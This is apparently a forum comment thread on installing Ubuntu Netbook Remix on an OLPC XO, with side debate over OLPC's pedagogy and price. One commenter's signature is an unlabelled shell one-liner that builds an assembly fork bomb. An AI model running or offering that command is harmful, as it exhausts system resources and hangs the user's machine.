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Installing Ubuntu On an OLPC XO
Matt Lincoln Russell writes "Installing Ubuntu Netbook Remix on the OLPC XO is not for the faint of heart, but Drew Beckett has got the process down. This setup is pretty slow on the XO, but the good news is that Netbook Remix is a work in progress, and can be expected to get better."
db
I am literally 3000 tokens away from the chaotic crossbow --Stephen
Nothing new here.
I have ubuntu with xcfe running on an XO for quite a while. Dual boot off of a SDHC.
teapot is the one to thank for this.
When Ubuntu Hardy was being released in April, I have posted installation instructions for it on XO. This is still probably the best way to install a "mainstream" Linux distribution on that laptop -- XO has rather unusual screen pixels layout with 1200x900 "visible" resolution, so Xubuntu desktop with a GTK theme made to accommodate XO's unusual screen behavior is better suited for it than a desktop made for plain low resolution and mostly touchscreen input that XO does not have.
I have posted videos of this version of Ubuntu in action on Youtube, and photos of the installation procedure (still with old GTK theme) on my Livejorunal.
Contrary to the popular belief, there indeed is no God.
Hackers have money. The children do not.
How in the world do hackers get their hands on these
http://www.laptopgiving.org/en/index.php
db
I am literally 3000 tokens away from the chaotic crossbow --Stephen
There was a promotion when OLPC came out that allowed you to purchase one. In doing so, another OLPC was sent to a child as well.
You can also find them on ebay It doesnt take a hacker to find them, just someone willing to use Google.
I guess this is a real item, though it seems a bit strange OLPC Postage Stamp
You mean this article?
http://www.businessweek.com/magazine/content/08_24/b4088048125608_page_2.htm
The leaders of OLPC believe the laptops must be much more than electronic substitutes for textbooks if they are to profoundly effect learning. The group, an offshoot of MIT's Media Lab, which Negroponte launched 23 years ago, has based its educational philosophy on the theories of Seymour Papert, a Media Lab professor who pioneered the use of computers in elementary education in 1967. Papert, now retired, developed a theory called Constructionism, which posits that young children learn best by doing rather than by being lectured to. So to create a tool that could deliver more than rote lessons and e-books, OLPC designed the machine and its software to enable collaboration, exploration, and experimentation. "We're hoping that these countries won't just make up ground but they'll jump into a new educational environment," says David Cavallo, OLPC's chief education architect.
CULTURAL IMPERIALISM?
While this philosophy is essential to the mission of OLPC, it's also a source of tension. Current educational leaders in Peru embrace Constructionism, but most countries base their education systems on the idea that teachers pass their knowledge to receptive students. That was a problem for OLPC in China as well as India. India's education department, for instance, calls the idea of giving each child a laptop "pedagogically suspect," and, when asked about it recently, Education Secretary Arun Kumar Rath barked: "Our primary-school children need reading and writing habits, not expensive laptops."
What's misinformed about it? It's skeptical coverage rather than the uncritical puff pieces you'd get in Wired or a blog but I don't think that's a bad thing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
..when will the one-iPhone-per-middle-class-white-man campaign start?! I can't bear the view of those still not having one :(
Actually, I'm jealous, I'd really like to have an OLPC =)
troll? no seriously who does give a flying fsck its been done before aswell
IranAir Flight 655 never forget!
I have ubuntu with xcfe running on an XO for quite a while.
You are dualbooting *STOCK* ubuntu of your card.
What TFA's author is trying to do is to test Ubuntu *Netbook Remix* which is a distro variation specially developed for sub notebooks.
He wasn't just trying to get ubuntu up (as already done by countless other howtos) he was willing to test the new flavour specially geared for this kind of machine.
Verdict : kidda works, not snappy enough, but will probably improve in the future
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
I'm not trying to bash olpc -- I liked it enough to donate one. But I wonder whether the olpc is simply coming to market too late, and at too high a price, to be relevant. This article is an example of how fuzzy the boundary is between xo+sugar and a standard linux distro running on commodity hardware such as a eeepc or a standard laptop or desktop machine. There are basically three reasons I can see why olpc can be relevant:
I've never tried sugar, so I can't say anything for sure about #3, but I'm pretty skeptical. My own kids use gnome, and it works fine for them. The fuzzy boundary demonstrated by the article makes me doubt whether sugar by itself is all that relevant.
Re #2, I'm not convinced that it's really all that important for these kids to have this particular combination of features. Is portability really that critical? How much does it matter if the machine stays in the kid's home, or at school? Is the wireless really that useful in real life, in the environments where xo's are getting used? These features seem to be tied to a particular educational philosophy and imagined model of use, but it's not clear to me whether that's really happening. One of the big killer apps for olpc was supposed to be distribution of free electronic textbooks, and that is something I know something about (see my sig); basically the free electronic textbooks that exist today are disproportionately slanted toward esoteric graduate-level books on things like quantum field theory, with less for college freshmen, and essentially nothing for K-12.
And then there's #1, price. So far they've only got the xo's price down to $200, and $200 is not all that competitive against commodity hardware at this point. I'm going to have to compare with retail options here in the developed world (US), since that's what I have experience with. You can get a gPC from walmart for $200. I recently walked in to a Salvation Army thrift shop and bought a perfectly fine used desktop system for $89 -- and that wasn't a fluke, because there were two other machines on the shelf at the same price point that looked just fine. Memory upgrades for used machines are ridiculously cheap these days, ~$13 (including shipping) on ebay for 512 MB. So for the same price as the xo, I could spend $89 for a used desktop, $13 for a memory upgrade, $8 for a mouse and keyboard (typical sale price at Fry's), and maybe $70 for a cheap LCD (again, not an unusual sale price at Fry's). Now I'm not saying that this particular method of assembling a cheap, used desktop system is appropriate for getting a machine into the hands of a kid in Cambodia, but I think it does show that commodity hardware is getting so insanely cheap so fast that there's a real possibility that olpc will simply become irrelevant because it's overtaken by events.
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